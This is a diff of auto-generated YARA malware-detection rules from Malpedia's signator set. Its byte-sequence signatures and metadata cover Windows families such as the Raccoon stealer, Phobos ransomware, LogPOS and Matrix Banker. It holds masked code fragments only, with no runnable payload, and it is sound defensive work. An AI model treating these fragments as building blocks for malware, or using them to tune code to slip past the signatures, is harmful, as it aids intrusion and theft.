-rule MALPEDIA_Win_Matrix_Banker_Auto : FILE
+rule MALPEDIA_Win_Manitsme_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "5e463068-e12b-5f8d-ab9f-c81457da2c25"
+		id = "e6602fda-fe01-560f-b18c-c680ffd15493"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.matrix_banker"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.matrix_banker_auto.yar#L1-L118"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.manitsme"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.manitsme_auto.yar#L1-L123"
 		license_url = "N/A"
-		logic_hash = "8e0666cd40465e0b5fba82c6d7538e5812414aad17fe7eeb1cf9c0a79b729bb8"
+		logic_hash = "d15a6ee2f4daf2c5f96b25b50dc747d6c2f7c5b49f115484153e22e9303b3c0c"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -151584,71 +158692,71 @@ rule MALPEDIA_Win_Matrix_Banker_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { eb0b 8d4abf 80f905 7703 }
-		$sequence_1 = { 8d489f 80f905 7704 04a9 eb0a 8d48bf }
-		$sequence_2 = { 8d4a9f 80f905 7705 80c2a9 eb0b }
-		$sequence_3 = { 7705 80c2a9 eb0b 8d4abf 80f905 7703 80c2c9 }
-		$sequence_4 = { 80f905 7702 04c9 8d4ad0 }
-		$sequence_5 = { 80c2a9 eb0b 8d4abf 80f905 7703 80c2c9 }
-		$sequence_6 = { ff15???????? e8???????? 85c0 740a e8???????? 83f8ff }
-		$sequence_7 = { eb18 8d4a9f 80f905 7705 80c2a9 }
-		$sequence_8 = { eb18 8d4a9f 80f905 7705 }
-		$sequence_9 = { 8d489f 80f905 7704 04a9 eb0a 8d48bf 80f905 }
+		$sequence_0 = { 8b4c2438 33cc e8???????? 83c440 c3 6a0b 68???????? }
+		$sequence_1 = { 894c243c 894c2440 2bd0 8a08 880c02 83c001 84c9 }
+		$sequence_2 = { 6a00 6804040000 68???????? 57 }
+		$sequence_3 = { 83c408 eb09 57 e8???????? 83c404 8b15???????? 52 }
+		$sequence_4 = { 8b35???????? 57 8b3d???????? 8da42400000000 8d442428 50 }
+		$sequence_5 = { 8d442418 50 68fc030000 8d4c2424 }
+		$sequence_6 = { 897c2420 ff15???????? 8b0d???????? 51 ff15???????? 6a02 }
+		$sequence_7 = { 53 ff15???????? 68???????? 8d442418 50 c744241c401b0110 e8???????? }
+		$sequence_8 = { 897c2420 c744241c01000000 ff15???????? 83f8ff 7434 8d4c2408 }
+		$sequence_9 = { 8975e4 33c0 39b858340110 7467 ff45e4 }
 
 	condition:
-		7 of them and filesize <422912
+		7 of them and filesize <212992
 }
-rule MALPEDIA_Win_Knot_Auto : FILE
+rule MALPEDIA_Win_Tclient_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "a6e6a5bf-ddf5-50fd-bee4-72bdce46b16d"
+		id = "f2038e8d-aea1-548a-a845-014bf9e62586"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.knot"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.knot_auto.yar#L1-L120"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tclient"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.tclient_auto.yar#L1-L133"
 		license_url = "N/A"
-		logic_hash = "1eb2f0d25dde1dc340b502f0b94dbb26bfbabe3643f1c7382f79e2ee4892b78f"
+		logic_hash = "d731098e1e4af77da640d6018efa5a27e1199a8bfd1426735ef45625c1645468"
 		score = 75
 		quality = 75
 		tags = "FILE"
 		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
-
-	strings:
-		$sequence_0 = { 50 8b8ddcfdffff 51 6a00 6a00 6a01 }
-		$sequence_1 = { 55 8bec 81ec34010000 6a00 }
-		$sequence_2 = { 6a18 6a00 6a00 68???????? ff15???????? 8d95f0f9ffff }
-		$sequence_3 = { ff15???????? 83c408 6a01 6a00 }
-		$sequence_4 = { 83bdd4fdffff00 7443 8b85d8fdffff 50 8b8ddcfdffff 51 }
-		$sequence_5 = { 6800000040 8d95e0fdffff 52 ff15???????? }
-		$sequence_6 = { ff15???????? 8b55ec 52 ff15???????? 8b45e8 50 ff15???????? }
-		$sequence_7 = { 6a00 6a00 68???????? ff15???????? 8d95f0f9ffff 52 e8???????? }
-		$sequence_8 = { 52 ff15???????? 85c0 7507 32c0 e9???????? c785d8fdffff00000000 }
-		$sequence_9 = { 83c408 68???????? 8b8d74f7ffff 51 e8???????? }
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
+
+	strings:
+		$sequence_0 = { 8be5 5d c21800 b8???????? e8???????? 83ec70 53 }
+		$sequence_1 = { 6685f6 7411 0fb7c2 42 885c0804 0fb7c2 42 }
+		$sequence_2 = { e9???????? 6a44 8d442444 53 50 e8???????? 33c0 }
+		$sequence_3 = { 50 8d0419 57 50 e8???????? 83c40c b880000000 }
+		$sequence_4 = { 894db0 2345a8 33c2 c1c105 034e28 81c29979825a 8b75a8 }
+		$sequence_5 = { 8b00 2bc1 8d4a01 3bc1 0f4cc8 894dec 85c9 }
+		$sequence_6 = { 59 59 85c0 7443 e9???????? 85f6 741e }
+		$sequence_7 = { 57 e8???????? 8b4304 2b4508 50 ff7508 }
+		$sequence_8 = { 6bc930 8b0495c0a04700 c644012801 8b0495c0a04700 897c0118 8bfe e9???????? }
+		$sequence_9 = { 89bebc010000 8a8398000000 888675030000 0fb68398000000 50 8d4366 50 }
 
 	condition:
-		7 of them and filesize <59392
+		7 of them and filesize <1063936
 }
-rule MALPEDIA_Win_Brbbot_Auto : FILE
+rule MALPEDIA_Win_Khrat_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "e240fcbc-2659-5f11-92b2-f24493c78ffd"
+		id = "cae82139-c683-5bf8-8807-a11668477f96"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.brbbot"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.brbbot_auto.yar#L1-L120"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.khrat"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.khrat_auto.yar#L1-L118"
 		license_url = "N/A"
-		logic_hash = "d23aa206f76a72b99ca843cfc9c1f11b947cf7f249b06e1b49eb77df3aca0670"
+		logic_hash = "074673c423b5c49f07577630b1f328510bc324887f41ca6e4261bb8bfff0e2f0"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -151662,32 +158770,32 @@ rule MALPEDIA_Win_Brbbot_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 7509 488d0daad10000 eb02 33c9 e8???????? 4883c438 }
-		$sequence_1 = { f2ae 48f7d1 48ffc9 4c8bc1 498d8e10040000 488bd5 e8???????? }
-		$sequence_2 = { 48f7d1 4c8d41ff 488d8b04010000 e8???????? }
-		$sequence_3 = { 885c2470 448bee 448bfe e8???????? 488b05???????? 4889442458 }
-		$sequence_4 = { 48895808 488970e8 33ff 488978b8 4c8960e0 }
-		$sequence_5 = { 48f7d1 48ffc9 4881f904010000 0f8724010000 4883c9ff }
-		$sequence_6 = { 81fa01010000 7d13 4863ca 8a44191c 42888401c0230100 }
-		$sequence_7 = { 488bfa ff15???????? 4c8d4704 488bc8 ba08000000 ff15???????? }
-		$sequence_8 = { 4c8b7540 8bd8 85c0 0f88d6020000 4c8d4da8 }
-		$sequence_9 = { 33d2 488bce e8???????? ff15???????? 4c8bc6 488bc8 33d2 }
+		$sequence_0 = { 8d858cfbffff 50 68f4030000 57 }
+		$sequence_1 = { 66c745e00000 8b859cfbffff 8945e8 8b8590fbffff 8945ec 8945f0 }
+		$sequence_2 = { c9 c20400 55 8bec 81c4d0f9ffff }
+		$sequence_3 = { 81c448feffff c705????????ffffffff 8d8572feffff 50 6802020000 e8???????? 6a06 }
+		$sequence_4 = { 68???????? 6a00 e8???????? 0bc0 0f840e010000 }
+		$sequence_5 = { 66c746326500 66c746347700 66c746363a00 66c746380000 8db500feffff }
+		$sequence_6 = { ff35???????? 8f45e6 8d45e2 50 e8???????? c9 }
+		$sequence_7 = { eb25 ff35???????? e8???????? 8d85d4fdffff }
+		$sequence_8 = { c9 c3 55 8bec 83c4fc 833d????????ff }
+		$sequence_9 = { 50 8d85bcf8ffff 50 8d85dcf8ffff 50 8d8500ffffff }
 
 	condition:
-		7 of them and filesize <198656
+		7 of them and filesize <57344
 }
-rule MALPEDIA_Win_Chiser_Client_Auto : FILE
+rule MALPEDIA_Win_Spyder_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "e8afcaec-169c-5519-a609-4458271450b4"
+		id = "3ab12f00-3358-5020-939c-e2c585a1665c"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.chiser_client"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.chiser_client_auto.yar#L1-L124"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.spyder"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.spyder_auto.yar#L1-L176"
 		license_url = "N/A"
-		logic_hash = "3bc0569053961dd359f1e4296146fed96a2d550b29a6ec46396d68a2c22beadc"
+		logic_hash = "bab678e49456b3f7ffea3f1f145c31d0ca13e5400d7a321bcd98016f59a4377c"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -151701,34 +158809,40 @@ rule MALPEDIA_Win_Chiser_Client_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 668945b7 488d55b7 488d4dd7 e8???????? b862000000 }
-		$sequence_1 = { 488bcb e8???????? b801000000 4883c430 415e 5f }
-		$sequence_2 = { e8???????? 488d156f390300 488d4c2420 e8???????? cc 48895c2408 4889742410 }
-		$sequence_3 = { ff15???????? 483305???????? 488d15bedf0200 488bcb 488905???????? }
-		$sequence_4 = { 894810 48634810 b802000000 48f7e1 48c7c1ffffffff 480f40c1 }
-		$sequence_5 = { ff15???????? 8bd8 83f801 0f84c7030000 8bc8 83e902 }
-		$sequence_6 = { 4c8d0564070000 eb1e 3d03003000 7509 }
-		$sequence_7 = { 488bc8 488d15a48e0100 ff15???????? 4885c0 0f8432030000 488bc8 e8???????? }
-		$sequence_8 = { 488944246a 89442472 6689442476 c74424502f006900 c74424546e006400 c744245865007800 c744245c2e006800 }
-		$sequence_9 = { 488d1590500200 488d4d20 e8???????? cc 48895d08 4883651000 488b86a8000000 }
+		$sequence_0 = { 4053 4883ec20 8bd9 488d0da5a40000 ff15???????? 4885c0 7419 }
+		$sequence_1 = { 0f8493010000 488d156a5f0000 488bc8 ff15???????? 4885c0 0f847a010000 }
+		$sequence_2 = { 756e 488d4b04 4c8d05563e0000 418d5216 e8???????? 85c0 7437 }
+		$sequence_3 = { eb17 488b5638 498bcc ff5630 b97f000000 ff15???????? }
+		$sequence_4 = { 7422 488d15795e0000 488bce ff15???????? 488bc8 }
+		$sequence_5 = { 496374243c 4903f4 813e50450000 740b b9c1000000 }
+		$sequence_6 = { 7647 498bcd e8???????? 4c8d05478a0000 41b903000000 488d4c45bc 488bc1 }
+		$sequence_7 = { 85c0 7408 8bcb ff15???????? e8???????? 488d15faa20000 }
+		$sequence_8 = { 8b7d0c 8d0540460910 83780800 754e b741 b35a }
+		$sequence_9 = { 50 a3???????? e8???????? 8db6843d0910 bf???????? }
+		$sequence_10 = { 888800490910 eb1f 83f861 7213 83f87a 770e 8088????????20 }
+		$sequence_11 = { 83c424 aa 8d842484000000 6804010000 50 53 }
+		$sequence_12 = { 81e1ffff0000 50 51 68???????? 8d54243c }
+		$sequence_13 = { 68???????? 8d44242c 8d8c2494050000 50 68???????? }
+		$sequence_14 = { b801000000 5b 81c47c150000 c3 5f 5e 33c0 }
+		$sequence_15 = { 0fb6d2 f682014a091004 7403 40 }
 
 	condition:
-		7 of them and filesize <714752
+		7 of them and filesize <1458176
 }
-rule MALPEDIA_Win_Slingshot_Auto : FILE
+rule MALPEDIA_Win_Raccoon_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "bf558dcd-c863-525d-b34a-1a56d33f94ec"
+		id = "4a27386e-afe9-5aa0-b437-cb8672f32902"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.slingshot"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.slingshot_auto.yar#L1-L218"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.raccoon"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.raccoon_auto.yar#L1-L121"
 		license_url = "N/A"
-		logic_hash = "1e413348df71e72118297c6913e2a6da9548aa658d39b7dcd425460f21f929c0"
+		logic_hash = "744c135940d1e7204980afbdf51c2b964c1deff72c5358a0844976025962517f"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -151740,45 +158854,32 @@ rule MALPEDIA_Win_Slingshot_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 50 33db 53 ff15???????? 8bf0 3bf3 }
-		$sequence_1 = { 3bcb 7512 ff7708 ff37 }
-		$sequence_2 = { 48 8bf0 66895804 66897806 85ed }
-		$sequence_3 = { e8???????? e8???????? 8945d8 8955dc 3bc3 7d09 52 }
-		$sequence_4 = { e8???????? ff7004 8d742420 ff30 e8???????? 395c241c 7523 }
-		$sequence_5 = { 8be8 49 3bc6 750f baec040000 b90e000780 }
-		$sequence_6 = { e8???????? 59 8d75a4 e8???????? 8d7594 }
-		$sequence_7 = { 3bcb 7442 395dfc 7414 }
-		$sequence_8 = { 3bcb 7504 6a08 eb7a }
-		$sequence_9 = { 3919 740a 48 83c102 48 83e801 75f0 }
-		$sequence_10 = { 833d????????00 7546 b918000000 e8???????? 48 }
-		$sequence_11 = { 0f848a050000 45 33e4 0fb74c2448 83e961 }
-		$sequence_12 = { 3bcb 7552 dd45f0 dd4720 }
-		$sequence_13 = { 8bce 49 3bfe 741a }
-		$sequence_14 = { 59 c20400 8b4608 83f8ff }
-		$sequence_15 = { 3bcb 7461 8b01 83f807 }
-		$sequence_16 = { 3bcb 753c ff7708 eb28 }
-		$sequence_17 = { eb29 48 8d4c2448 e8???????? }
-		$sequence_18 = { e9???????? 8d85d0fdffff 50 ff15???????? }
-		$sequence_19 = { 894c9a08 8b5df8 03cb 8b5d0c 23c8 }
-		$sequence_20 = { ff7508 ffd7 85c0 7516 ff15???????? 6843458a04 }
-		$sequence_21 = { 0d00000780 8906 e8???????? 48 8bd6 48 }
-		$sequence_22 = { 3bcb 743b 6afe 58 8901 }
+		$sequence_0 = { 8bf0 8975f0 85f6 7422 8d45ec c706???????? }
+		$sequence_1 = { e8???????? 68???????? eb31 51 }
+		$sequence_2 = { 8b45e8 3bc6 7c31 7f04 3bde 762b }
+		$sequence_3 = { 53 50 8d45e0 895dd0 }
+		$sequence_4 = { ff15???????? 8945f4 40 03c7 50 8945f0 }
+		$sequence_5 = { ff15???????? 8bf0 83feff 7437 837b1410 7202 8b1b }
+		$sequence_6 = { 8d45ec c706???????? 50 53 ff75e4 895dec ff15???????? }
+		$sequence_7 = { 57 33db 8bf9 53 6aff 53 }
+		$sequence_8 = { 6a01 52 52 52 52 }
+		$sequence_9 = { 0f85dd000000 57 57 57 57 8d45fc }
 
 	condition:
-		7 of them and filesize <663552
+		7 of them and filesize <1212416
 }
-rule MALPEDIA_Win_Milum_Auto : FILE
+rule MALPEDIA_Win_Lowkey_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "a4720d6d-5a40-5b38-8cc6-14b0dce6d896"
+		id = "16d4ae5f-e38d-570e-962d-91656915c4ac"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.milum"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.milum_auto.yar#L1-L132"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lowkey"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.lowkey_auto.yar#L1-L127"
 		license_url = "N/A"
-		logic_hash = "3d087e33a30d06df9f4db7e1d4f924bf7ada8b431d51e99d5cf8912956a67294"
+		logic_hash = "663feed0bd96ec1d7d11defff75725aca17e4e2539133645562042d15d3f90de"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -151792,32 +158893,32 @@ rule MALPEDIA_Win_Milum_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8db53cffffff e8???????? 83c41c c645fc20 50 8d4d90 e8???????? }
-		$sequence_1 = { 837b1800 0f8507010000 8b45f0 50 8d75dc e8???????? 837b1800 }
-		$sequence_2 = { 50 e8???????? 8bc6 eb0f 885dfc 8d8d34ffffff }
-		$sequence_3 = { 8b4dcc 8b55c8 83c40c c78574ffffff44000000 8945ac 894db4 814da001010000 }
-		$sequence_4 = { 8d8d10feffff e8???????? c645fc1e 8d8df4fdffff e8???????? c645fc1d }
-		$sequence_5 = { 2bc6 c7421803000000 89421c 395a18 0f849cfeffff ddd8 ddd8 }
-		$sequence_6 = { 6bc064 2bc8 8d045590a64600 0fb610 8816 0fb64001 884601 }
-		$sequence_7 = { 385f45 7503 895704 8b7a04 897e04 8b7804 3b5704 }
-		$sequence_8 = { 8bca eb0e 8b55e8 2bd1 8b4e44 8955d4 894ddc }
-		$sequence_9 = { 8d7508 83ec1c 8bcc 8bc6 c741140f000000 895910 896598 }
+		$sequence_0 = { 482be0 488b05???????? 4833c4 48898520200000 33d2 c74590636d642e }
+		$sequence_1 = { 488d3547ed0100 eb16 488b3b 4885ff 740a }
+		$sequence_2 = { 0f85d7feffff e9???????? b966000000 66894c2435 e9???????? 488d15fa230200 488d8d70010000 }
+		$sequence_3 = { b868000000 6689442435 eb49 488d1517250200 488d8d70010000 ff15???????? 85c0 }
+		$sequence_4 = { 4833c4 4889842490040000 8bfa 488bd9 4885c9 }
+		$sequence_5 = { 85c0 0f84bffeffff b865000000 895c2438 4c8d8570090000 6689442435 488d542430 }
+		$sequence_6 = { ff15???????? e9???????? b9d3000000 663bc1 7551 4c3935???????? 7414 }
+		$sequence_7 = { c3 4057 4883ec20 488d3d7b2d0100 48393d???????? 742b }
+		$sequence_8 = { 5e 5b c3 488bcb ff15???????? 4885c0 7504 }
+		$sequence_9 = { eb87 4055 53 57 488dac2470dfffff b890210000 }
 
 	condition:
-		7 of them and filesize <1076224
+		7 of them and filesize <643072
 }
-rule MALPEDIA_Win_Webmonitor_Auto : FILE
+rule MALPEDIA_Win_Flawedgrace_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "aca2309c-f3e7-5982-bcd7-9e22f09c3e41"
+		id = "62521b13-13e2-5f89-b92f-7685ad3e5d40"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webmonitor"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.webmonitor_auto.yar#L1-L158"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.flawedgrace"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.flawedgrace_auto.yar#L1-L132"
 		license_url = "N/A"
-		logic_hash = "7913959618328b6198214b581f33ca34a8ffc8b00c2415ca23bf0e5f2e066370"
+		logic_hash = "3a2e50b467b7ecb293ee257669feacddf7970c96ed36da3edcb02bab7c5dbcd0"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -151831,38 +158932,32 @@ rule MALPEDIA_Win_Webmonitor_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 06 000b 3a58ff 1b03 fd 006cff1e e00e }
-		$sequence_1 = { 41 0080cd41009c d34100 e8???????? }
-		$sequence_2 = { 0094be4100d891 41 0084e84100a872 42 00a06a4200f8 }
-		$sequence_3 = { 0028 fa 41 0014b4 42 }
-		$sequence_4 = { b9???????? ffe1 ba???????? b9???????? ffe1 ba???????? b9???????? }
-		$sequence_5 = { 000e 6c 74ff f5 }
-		$sequence_6 = { ff05???????? 000d???????? 04b8 fe04e4 fd 04e0 fd }
-		$sequence_7 = { 00dc 7442 000477 42 0028 }
-		$sequence_8 = { 00e8 dd7000 008bf98b5d1c 8d4de4 }
-		$sequence_9 = { 00d1 6848007269 48 00856948008b }
-		$sequence_10 = { 0108 eb5a 8b4508 83ceff }
-		$sequence_11 = { 0108 8b442410 891e 894604 }
-		$sequence_12 = { 00d1 6848004069 48 00d1 }
-		$sequence_13 = { 000f b681 fc b84500ff24 }
-		$sequence_14 = { 00e8 f61c00 008bd9895df0 8b451c }
-		$sequence_15 = { 00856948008b ff558b ec 83ec0c }
+		$sequence_0 = { 894110 8b450c 89411c 8a03 884124 8b45f4 c7411800000000 }
+		$sequence_1 = { c1e810 0fb6c0 330c85e0bb4500 0fb6c2 c1ea08 330c85e0b34500 334fb8 }
+		$sequence_2 = { ff15???????? 8bf8 85ff 0f8493000000 8bce e8???????? 8d5704 }
+		$sequence_3 = { 50 8b85c0feffff ff7004 50 e8???????? 8b55e8 }
+		$sequence_4 = { c68564dcffffda c68565dcffff02 c68566dcffff48 c68567dcffff65 c68568dcffff61 c68569dcffff70 c6856adcffff52 }
+		$sequence_5 = { c6857fcfffff48 c68580cfffff83 c68581cfffffec c68582cfffff20 c68583cfffff4c c68584cfffff8b c68585cfffffc8 }
+		$sequence_6 = { 3355f0 33da 8955e8 330c85e0d34500 8bc2 898eb0000000 8bca }
+		$sequence_7 = { c6852ee8ffff65 c6852fe8ffff6c c68530e8ffff6f c68531e8ffff63 c68532e8ffff00 c68533e8ffff00 c68534e8ffff50 }
+		$sequence_8 = { 8975fc e8???????? 50 83c010 50 51 }
+		$sequence_9 = { c68516e5ffff00 c68517e5ffff00 c68518e5ffff00 c68519e5ffff00 c6851ae5ffff00 c6851be5ffff00 c6851ce5ffff00 }
 
 	condition:
-		7 of them and filesize <1867776
+		7 of them and filesize <966656
 }
-rule MALPEDIA_Win_Session_Manager_Auto : FILE
+rule MALPEDIA_Win_Logpos_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "dc2cef80-2dcf-5809-93bd-82c69da769f0"
+		id = "1863375d-233c-50fe-9230-efcb27bcbb2c"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.session_manager"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.session_manager_auto.yar#L1-L124"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.logpos"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.logpos_auto.yar#L1-L123"
 		license_url = "N/A"
-		logic_hash = "603fcab78a4336ae9ff58b2ce6e64cc670272e944fe82c789ba11945e145dd5d"
+		logic_hash = "c3acfde126a6fa182645fe56f6caf8ed6c2b8f53215730338bb39d48d6bd3dac"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -151876,32 +158971,32 @@ rule MALPEDIA_Win_Session_Manager_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 4c89b848240000 4c89b850240000 4c89b858240000 4c89b860240000 4c89b868240000 4c89b870240000 }
-		$sequence_1 = { 4c8d35fb2d0100 83e63f 488beb 48c1fd06 48c1e606 498b04ee }
-		$sequence_2 = { 4c89b838060000 4c89b840060000 4c89b848060000 4c89b850060000 4c89b858060000 4c89b860060000 4c89b868060000 }
-		$sequence_3 = { 4c89b8100b0000 4c89b8180b0000 4c89b8200b0000 4c89b8280b0000 4c89b8300b0000 4c89b8380b0000 }
-		$sequence_4 = { 4c89b8c8180000 4c89b8d0180000 4c89b8d8180000 4c89b8e0180000 4c89b8e8180000 4c89b8f0180000 }
-		$sequence_5 = { 4c89b890030000 4c89b898030000 4c89b8a0030000 4c89b8a8030000 4c89b8b0030000 4c89b8b8030000 4c89b8c0030000 }
-		$sequence_6 = { 4c89b820220000 4c89b828220000 4c89b830220000 4c89b838220000 4c89b840220000 4c89b848220000 4c89b850220000 }
-		$sequence_7 = { ff15???????? 488d0df81b0200 ff15???????? 488d0d7b170200 ff15???????? }
-		$sequence_8 = { 488d0dd7070000 e8???????? e8???????? 488d0d42070000 e8???????? }
-		$sequence_9 = { 4533c9 458d4101 488d542450 488bcb ff90a8000000 }
+		$sequence_0 = { 89e5 0fb64508 83f830 0f8c13000000 83f839 0f8f0a000000 }
+		$sequence_1 = { 89ec 5d c3 55 89e5 83ec20 53 }
+		$sequence_2 = { 884c2408 0fb6442408 83f841 0f8c09000000 83f85a 0f8e37000000 0fb6442408 }
+		$sequence_3 = { 53 e8???????? 894330 682a5a9294 ff33 ff7370 }
+		$sequence_4 = { 8b4d10 8a450c 8b7d08 fc f3aa 61 }
+		$sequence_5 = { ff9380000000 48 83c420 48 85f6 7409 48 }
+		$sequence_6 = { c785f8fbffff01000000 68f4010000 ff15???????? 0fb69507fcffff b90f000000 }
+		$sequence_7 = { 83f800 0f8537000000 833d????????00 0f852a000000 837d1400 0f848c000000 }
+		$sequence_8 = { 5a c9 c3 41 52 }
+		$sequence_9 = { 0f8549000000 8b45fc c680a360400000 8b45fc }
 
 	condition:
-		7 of them and filesize <372736
+		7 of them and filesize <57344
 }
-rule MALPEDIA_Win_Locky_Decryptor_Auto : FILE
+rule MALPEDIA_Win_Phobos_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "7272c171-5952-5404-84f8-64d1272487e9"
+		id = "b3fdfb89-c1ef-5439-9836-c8e32a8398db"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.locky_decryptor"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.locky_decryptor_auto.yar#L1-L117"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.phobos"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.phobos_auto.yar#L1-L130"
 		license_url = "N/A"
-		logic_hash = "608b3ec7b9a67c8bdfea65d7f94d3ac9056bb8fb93478235380693008ad0bb57"
+		logic_hash = "2c179588b445524a4924d6ad3214734291e040f7e6e3be29f272840c2a179aff"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -151915,32 +159010,32 @@ rule MALPEDIA_Win_Locky_Decryptor_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8d7c2420 c684249000000001 e8???????? 6a01 33ff }
-		$sequence_1 = { 56 6a5c 8bf0 e8???????? }
-		$sequence_2 = { 58 33db 33c9 8945e0 }
-		$sequence_3 = { 8d45e0 50 33ff 6880000000 897dc0 ff15???????? 50 }
-		$sequence_4 = { 66890e 56 8d8ddcfbffff e8???????? 8bc6 }
-		$sequence_5 = { 50 e8???????? 8364247800 56 50 8d442420 }
-		$sequence_6 = { 68???????? 8d8504ffffff e9???????? 015ddc 6a00 5b }
-		$sequence_7 = { 56 e8???????? 8b4df4 83c40c 5f 5e 8bc3 }
